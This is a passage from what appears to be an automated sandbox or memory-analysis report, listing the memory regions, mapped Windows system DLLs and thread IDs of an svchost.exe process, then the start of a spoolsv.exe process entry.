	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2392
	        start_va = 0xadf0160000
	          end_va = 0xadf016ffff
	     entry_point = 0xadf0160000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2393
	        start_va = 0xadf0170000
	          end_va = 0xadf017ffff
	     entry_point = 0xadf0170000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2394
	        start_va = 0xadf0180000
	          end_va = 0xadf018ffff
	     entry_point = 0xadf0180000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2395
	        start_va = 0xadf0190000
	          end_va = 0xadf019ffff
	     entry_point = 0xadf0190000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2396
	        start_va = 0xadf01a0000
	          end_va = 0xadf01affff
	     entry_point = 0xadf01a0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2397
	        start_va = 0xadf01b0000
	          end_va = 0xadf01bffff
	     entry_point = 0xadf01b0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2398
	        start_va = 0xadf01c0000
	          end_va = 0xadf01cffff
	     entry_point = 0xadf01c0000
	     region_type = mapped_file
	            name = "catdb"
	        filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")

Region:
	              id = 2399
	        start_va = 0xadf0200000
	          end_va = 0xadf02fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adf0200000"
	        filename = ""

Region:
	              id = 2400
	        start_va = 0x7df5ff9e0000
	          end_va = 0x7ff5ff9dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff9e0000"
	        filename = ""

Region:
	              id = 2401
	        start_va = 0x7ff7b3328000
	          end_va = 0x7ff7b3329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3328000"
	        filename = ""

Region:
	              id = 2402
	        start_va = 0x7ff7b332a000
	          end_va = 0x7ff7b332bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b332a000"
	        filename = ""

Region:
	              id = 2403
	        start_va = 0x7ff7b332e000
	          end_va = 0x7ff7b332ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b332e000"
	        filename = ""

Region:
	              id = 2404
	        start_va = 0x7ff7b3330000
	          end_va = 0x7ff7b3331fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3330000"
	        filename = ""

Region:
	              id = 2405
	        start_va = 0x7ff7b3332000
	          end_va = 0x7ff7b3333fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3332000"
	        filename = ""

Region:
	              id = 2406
	        start_va = 0x7ff7b3334000
	          end_va = 0x7ff7b3335fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3334000"
	        filename = ""

Region:
	              id = 2407
	        start_va = 0x7ff7b3336000
	          end_va = 0x7ff7b3337fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3336000"
	        filename = ""

Region:
	              id = 2408
	        start_va = 0x7ff7b3338000
	          end_va = 0x7ff7b3339fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3338000"
	        filename = ""

Region:
	              id = 2409
	        start_va = 0x7ff7b333a000
	          end_va = 0x7ff7b333bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333a000"
	        filename = ""

Region:
	              id = 2410
	        start_va = 0x7ff7b333c000
	          end_va = 0x7ff7b333dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333c000"
	        filename = ""

Region:
	              id = 2411
	        start_va = 0x7ff7b333e000
	          end_va = 0x7ff7b333ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333e000"
	        filename = ""

Region:
	              id = 2412
	        start_va = 0x7ff7b3342000
	          end_va = 0x7ff7b3343fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3342000"
	        filename = ""

Region:
	              id = 2413
	        start_va = 0x7ff7b3344000
	          end_va = 0x7ff7b3345fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3344000"
	        filename = ""

Region:
	              id = 2414
	        start_va = 0x7ff7b3346000
	          end_va = 0x7ff7b3347fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3346000"
	        filename = ""

Region:
	              id = 2415
	        start_va = 0x7ff7b3348000
	          end_va = 0x7ff7b3349fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3348000"
	        filename = ""

Region:
	              id = 2416
	        start_va = 0x7ff7b334a000
	          end_va = 0x7ff7b334bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b334a000"
	        filename = ""

Region:
	              id = 2417
	        start_va = 0x7ff7b334c000
	          end_va = 0x7ff7b334dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b334c000"
	        filename = ""

Region:
	              id = 2418
	        start_va = 0x7ff7b334e000
	          end_va = 0x7ff7b334ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b334e000"
	        filename = ""

Region:
	              id = 2419
	        start_va = 0x7ff7b3350000
	          end_va = 0x7ff7b344ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3350000"
	        filename = ""

Region:
	              id = 2420
	        start_va = 0x7ff7b3450000
	          end_va = 0x7ff7b3472fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3450000"
	        filename = ""

Region:
	              id = 2421
	        start_va = 0x7ff7b3473000
	          end_va = 0x7ff7b3474fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3473000"
	        filename = ""

Region:
	              id = 2422
	        start_va = 0x7ff7b3475000
	          end_va = 0x7ff7b3476fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3475000"
	        filename = ""

Region:
	              id = 2423
	        start_va = 0x7ff7b3477000
	          end_va = 0x7ff7b3477fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3477000"
	        filename = ""

Region:
	              id = 2424
	        start_va = 0x7ff7b3478000
	          end_va = 0x7ff7b3479fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3478000"
	        filename = ""

Region:
	              id = 2425
	        start_va = 0x7ff7b347a000
	          end_va = 0x7ff7b347bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b347a000"
	        filename = ""

Region:
	              id = 2426
	        start_va = 0x7ff7b347c000
	          end_va = 0x7ff7b347dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b347c000"
	        filename = ""

Region:
	              id = 2427
	        start_va = 0x7ff7b347e000
	          end_va = 0x7ff7b347ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b347e000"
	        filename = ""

Region:
	              id = 2428
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 2429
	        start_va = 0x7ffbf25b0000
	          end_va = 0x7ffbf262ffff
	     entry_point = 0x7ffbf25b0000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2430
	        start_va = 0x7ffbf7160000
	          end_va = 0x7ffbf7441fff
	     entry_point = 0x7ffbf7160000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 2431
	        start_va = 0x7ffbf9250000
	          end_va = 0x7ffbf9264fff
	     entry_point = 0x7ffbf9250000
	     region_type = mapped_file
	            name = "ondemandconnroutehelper.dll"
	        filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll")

Region:
	              id = 2432
	        start_va = 0x7ffbf99c0000
	          end_va = 0x7ffbf9a1efff
	     entry_point = 0x7ffbf99c0000
	     region_type = mapped_file
	            name = "wlanapi.dll"
	        filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll")

Region:
	              id = 2433
	        start_va = 0x7ffbf9b00000
	          end_va = 0x7ffbf9b14fff
	     entry_point = 0x7ffbf9b00000
	     region_type = mapped_file
	            name = "ssdpapi.dll"
	        filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll")

Region:
	              id = 2434
	        start_va = 0x7ffbf9cb0000
	          end_va = 0x7ffbf9d0efff
	     entry_point = 0x7ffbf9cb0000
	     region_type = mapped_file
	            name = "ncsi.dll"
	        filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll")

Region:
	              id = 2435
	        start_va = 0x7ffbf9d10000
	          end_va = 0x7ffbf9d6ffff
	     entry_point = 0x7ffbf9d10000
	     region_type = mapped_file
	            name = "nlasvc.dll"
	        filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll")

Region:
	              id = 2436
	        start_va = 0x7ffbf9d80000
	          end_va = 0x7ffbf9d9bfff
	     entry_point = 0x7ffbf9d80000
	     region_type = mapped_file
	            name = "samlib.dll"
	        filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")

Region:
	              id = 2437
	        start_va = 0x7ffbf9da0000
	          end_va = 0x7ffbf9db7fff
	     entry_point = 0x7ffbf9da0000
	     region_type = mapped_file
	            name = "vsstrace.dll"
	        filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll")

Region:
	              id = 2438
	        start_va = 0x7ffbf9dc0000
	          end_va = 0x7ffbf9f42fff
	     entry_point = 0x7ffbf9dc0000
	     region_type = mapped_file
	            name = "vssapi.dll"
	        filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll")

Region:
	              id = 2439
	        start_va = 0x7ffbfadc0000
	          end_va = 0x7ffbfade3fff
	     entry_point = 0x7ffbfadc0000
	     region_type = mapped_file
	            name = "cryptcatsvc.dll"
	        filename = "\\Windows\\System32\\cryptcatsvc.dll" (normalized: "c:\\windows\\system32\\cryptcatsvc.dll")

Region:
	              id = 2440
	        start_va = 0x7ffbfadf0000
	          end_va = 0x7ffbfae02fff
	     entry_point = 0x7ffbfadf0000
	     region_type = mapped_file
	            name = "crypttpmeksvc.dll"
	        filename = "\\Windows\\System32\\crypttpmeksvc.dll" (normalized: "c:\\windows\\system32\\crypttpmeksvc.dll")

Region:
	              id = 2441
	        start_va = 0x7ffbfae10000
	          end_va = 0x7ffbfae26fff
	     entry_point = 0x7ffbfae10000
	     region_type = mapped_file
	            name = "cryptsvc.dll"
	        filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll")

Region:
	              id = 2442
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2443
	        start_va = 0x7ffbfc6e0000
	          end_va = 0x7ffbfc728fff
	     entry_point = 0x7ffbfc6e0000
	     region_type = mapped_file
	            name = "wkssvc.dll"
	        filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll")

Region:
	              id = 2444
	        start_va = 0x7ffbfcde0000
	          end_va = 0x7ffbfcdf7fff
	     entry_point = 0x7ffbfcde0000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 2445
	        start_va = 0x7ffbfcec0000
	          end_va = 0x7ffbfcec9fff
	     entry_point = 0x7ffbfcec0000
	     region_type = mapped_file
	            name = "dnsext.dll"
	        filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll")

Region:
	              id = 2446
	        start_va = 0x7ffbfced0000
	          end_va = 0x7ffbfcf37fff
	     entry_point = 0x7ffbfced0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2447
	        start_va = 0x7ffbfcf50000
	          end_va = 0x7ffbfcf98fff
	     entry_point = 0x7ffbfcf50000
	     region_type = mapped_file
	            name = "dnsrslvr.dll"
	        filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll")

Region:
	              id = 2448
	        start_va = 0x7ffbfcfa0000
	          end_va = 0x7ffbfcfb9fff
	     entry_point = 0x7ffbfcfa0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2449
	        start_va = 0x7ffbfcfc0000
	          end_va = 0x7ffbfcfd5fff
	     entry_point = 0x7ffbfcfc0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2450
	        start_va = 0x7ffbfd310000
	          end_va = 0x7ffbfd33cfff
	     entry_point = 0x7ffbfd310000
	     region_type = mapped_file
	            name = "netjoin.dll"
	        filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll")

Region:
	              id = 2451
	        start_va = 0x7ffbfd340000
	          end_va = 0x7ffbfd355fff
	     entry_point = 0x7ffbfd340000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 2452
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 2453
	        start_va = 0x7ffbfd810000
	          end_va = 0x7ffbfd820fff
	     entry_point = 0x7ffbfd810000
	     region_type = mapped_file
	            name = "wmiclnt.dll"
	        filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll")

Region:
	              id = 2454
	        start_va = 0x7ffbfd9f0000
	          end_va = 0x7ffbfdaaffff
	     entry_point = 0x7ffbfd9f0000
	     region_type = mapped_file
	            name = "taskschd.dll"
	        filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll")

Region:
	              id = 2455
	        start_va = 0x7ffbfdb00000
	          end_va = 0x7ffbfdb79fff
	     entry_point = 0x7ffbfdb00000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 2456
	        start_va = 0x7ffbfdeb0000
	          end_va = 0x7ffbfdf14fff
	     entry_point = 0x7ffbfdeb0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 2457
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2458
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2459
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2460
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2461
	        start_va = 0x7ffbffaf0000
	          end_va = 0x7ffbffafbfff
	     entry_point = 0x7ffbffaf0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 2462
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2463
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2464
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2465
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2466
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2467
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2468
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2469
	        start_va = 0x7ffc00320000
	          end_va = 0x7ffc00340fff
	     entry_point = 0x7ffc00320000
	     region_type = mapped_file
	            name = "joinutil.dll"
	        filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll")

Region:
	              id = 2470
	        start_va = 0x7ffc00370000
	          end_va = 0x7ffc003a5fff
	     entry_point = 0x7ffc00370000
	     region_type = mapped_file
	            name = "ntasn1.dll"
	        filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll")

Region:
	              id = 2471
	        start_va = 0x7ffc003b0000
	          end_va = 0x7ffc003d5fff
	     entry_point = 0x7ffc003b0000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 2472
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2473
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2474
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2475
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2476
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2477
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 2478
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2479
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2480
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2481
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2482
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2483
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2484
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 2485
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2486
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2487
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2488
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2489
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2490
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2491
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2492
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2493
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2494
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 331
	os_tid = 0xff4


Thread:
	id = 332
	os_tid = 0xfec


Thread:
	id = 333
	os_tid = 0xdcc


Thread:
	id = 334
	os_tid = 0x450


Thread:
	id = 335
	os_tid = 0x938


Thread:
	id = 336
	os_tid = 0x8fc


Thread:
	id = 337
	os_tid = 0x668


Thread:
	id = 338
	os_tid = 0x660


Thread:
	id = 339
	os_tid = 0x658


Thread:
	id = 340
	os_tid = 0x654


Thread:
	id = 341
	os_tid = 0x638


Thread:
	id = 342
	os_tid = 0x600


Thread:
	id = 343
	os_tid = 0x5e8


Thread:
	id = 344
	os_tid = 0x5a4


Thread:
	id = 345
	os_tid = 0x59c


Thread:
	id = 346
	os_tid = 0x490


Thread:
	id = 347
	os_tid = 0x47c


Thread:
	id = 348
	os_tid = 0x464


Thread:
	id = 349
	os_tid = 0x444


Thread:
	id = 350
	os_tid = 0x440


Thread:
	id = 351
	os_tid = 0x43c


Thread:
	id = 352
	os_tid = 0x3b8


Thread:
	id = 353
	os_tid = 0x39c


Thread:
	id = 354
	os_tid = 0x280


Process:
	id = "16"
	image_name = "spoolsv.exe"
	filename = "c:\\windows\\system32\\spoolsv.exe"
	page_root = "0x52e41000"
	os_pid = "0x2a0"
